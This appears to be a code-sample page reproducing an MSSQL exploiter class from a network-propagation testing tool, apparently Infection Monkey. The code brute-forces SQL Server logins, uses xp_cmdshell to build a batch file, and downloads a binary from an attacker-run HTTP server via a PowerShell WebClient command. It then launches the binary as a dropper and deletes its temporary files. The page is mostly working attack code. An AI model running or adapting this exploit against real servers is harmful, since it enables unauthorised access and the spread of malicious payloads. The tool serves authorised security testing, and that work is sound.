Ejemplo n.º 1
0
class MSSQLExploiter(HostExploiter):

    _EXPLOITED_SERVICE = 'MSSQL'
    _TARGET_OS_TYPE = ['windows']
    EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
    LOGIN_TIMEOUT = 15
    # Time in seconds to wait between MSSQL queries.
    QUERY_BUFFER = 0.5
    SQL_DEFAULT_TCP_PORT = '1433'

    # Temporary file that saves commands for monkey's download and execution.
    TMP_FILE_NAME = 'tmp_monkey.bat'
    TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"

    MAX_XP_CMDSHELL_COMMAND_SIZE = 128

    XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
    XP_CMDSHELL_COMMAND_END = "\""
    EXPLOIT_COMMAND_PREFIX = "<nul set /p="
    EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
    CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
    MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
                              "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"

    def __init__(self, host):
        super(MSSQLExploiter, self).__init__(host)
        self.cursor = None
        self.monkey_server = None
        self.payload_file_path = os.path.join(MSSQLExploiter.TMP_DIR_PATH,
                                              MSSQLExploiter.TMP_FILE_NAME)

    def _exploit_host(self):
        """
        First this method brute forces to get the mssql connection (cursor).
        Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after
        """
        # Brute force to get connection
        username_passwords_pairs_list = self._config.get_exploit_user_password_pairs(
        )
        self.cursor = self.brute_force(self.host.ip_addr,
                                       self.SQL_DEFAULT_TCP_PORT,
                                       username_passwords_pairs_list)

        # Create dir for payload
        self.create_temp_dir()

        try:
            self.create_empty_payload_file()

            self.start_monkey_server()
            self.upload_monkey()
            self.stop_monkey_server()

            # Clear payload to pass in another command
            self.create_empty_payload_file()

            self.run_monkey()

            self.remove_temp_dir()
        except Exception as e:
            raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]

        return True

    def run_payload_file(self):
        file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
        return self.run_mssql_command(file_running_command)

    def create_temp_dir(self):
        dir_creation_command = MSSQLLimitedSizePayload(
            command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
        self.run_mssql_command(dir_creation_command)

    def create_empty_payload_file(self):
        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(
            payload_file_path=self.payload_file_path)
        tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL",
                                                            suffix=suffix)
        self.run_mssql_command(tmp_file_creation_command)

    def run_mssql_command(self, mssql_command):
        array_of_commands = mssql_command.split_into_array_of_smaller_payloads(
        )
        if not array_of_commands:
            raise Exception(
                "Couldn't execute MSSQL exploiter because payload was too long"
            )
        self.run_mssql_commands(array_of_commands)

    def run_monkey(self):
        monkey_launch_command = self.get_monkey_launch_command()
        self.run_mssql_command(monkey_launch_command)
        self.run_payload_file()

    def run_mssql_commands(self, cmds):
        for cmd in cmds:
            self.cursor.execute(cmd)
            sleep(MSSQLExploiter.QUERY_BUFFER)

    def upload_monkey(self):
        monkey_download_command = self.write_download_command_to_payload()
        self.run_payload_file()
        self.add_executed_cmd(monkey_download_command.command)

    def remove_temp_dir(self):
        # Remove temporary dir we stored payload at
        tmp_file_removal_command = MSSQLLimitedSizePayload(
            command="del {}".format(self.payload_file_path))
        self.run_mssql_command(tmp_file_removal_command)
        tmp_dir_removal_command = MSSQLLimitedSizePayload(
            command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
        self.run_mssql_command(tmp_dir_removal_command)

    def start_monkey_server(self):
        self.monkey_server = MonkeyHTTPServer(self.host)
        self.monkey_server.start()

    def stop_monkey_server(self):
        self.monkey_server.stop()

    def write_download_command_to_payload(self):
        monkey_download_command = self.get_monkey_download_command()
        self.run_mssql_command(monkey_download_command)
        return monkey_download_command

    def get_monkey_launch_command(self):
        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
        # Form monkey's launch command
        monkey_args = build_monkey_commandline(self.host,
                                               get_monkey_depth() - 1,
                                               dst_path)
        suffix = ">>{}".format(self.payload_file_path)
        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
        return MSSQLLimitedSizePayload(command="{} {} {}".format(
            dst_path, DROPPER_ARG, monkey_args),
                                       prefix=prefix,
                                       suffix=suffix)

    def get_monkey_download_command(self):
        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
            format(http_path=self.monkey_server.http_path, dst_path=dst_path)
        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
            payload_file_path=self.payload_file_path)
        return MSSQLLimitedSizePayload(command=monkey_download_command,
                                       suffix=suffix,
                                       prefix=prefix)

    def brute_force(self, host, port, users_passwords_pairs_list):
        """
        Starts the brute force connection attempts and if needed then init the payload process.
        Main loop starts here.

        Args:
            host (str): Host ip address
            port (str): Tcp port that the host listens to
            users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with

        Return:
            True or False depends if the whole bruteforce and attack process was completed successfully or not
        """
        # Main loop
        # Iterates on users list
        for user, password in users_passwords_pairs_list:
            try:
                # Core steps
                # Trying to connect
                conn = pymssql.connect(host,
                                       user,
                                       password,
                                       port=port,
                                       login_timeout=self.LOGIN_TIMEOUT)
                LOG.info(
                    'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'
                    .format(host, user,
                            self._config.hash_sensitive_data(password)))
                self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
                self.report_login_attempt(True, user, password)
                cursor = conn.cursor()
                return cursor
            except pymssql.OperationalError:
                self.report_login_attempt(False, user, password)
                # Combo didn't work, hopping to the next one
                pass

        LOG.warning(
            'No user/password combo was able to connect to host: {0}:{1}, '
            'aborting brute force'.format(host, port))
        raise RuntimeError("Bruteforce process failed on host: {0}".format(
            self.host.ip_addr))
Ejemplo n.º 2
0
 def start_monkey_server(self):
     self.monkey_server = MonkeyHTTPServer(self.host)
     self.monkey_server.start()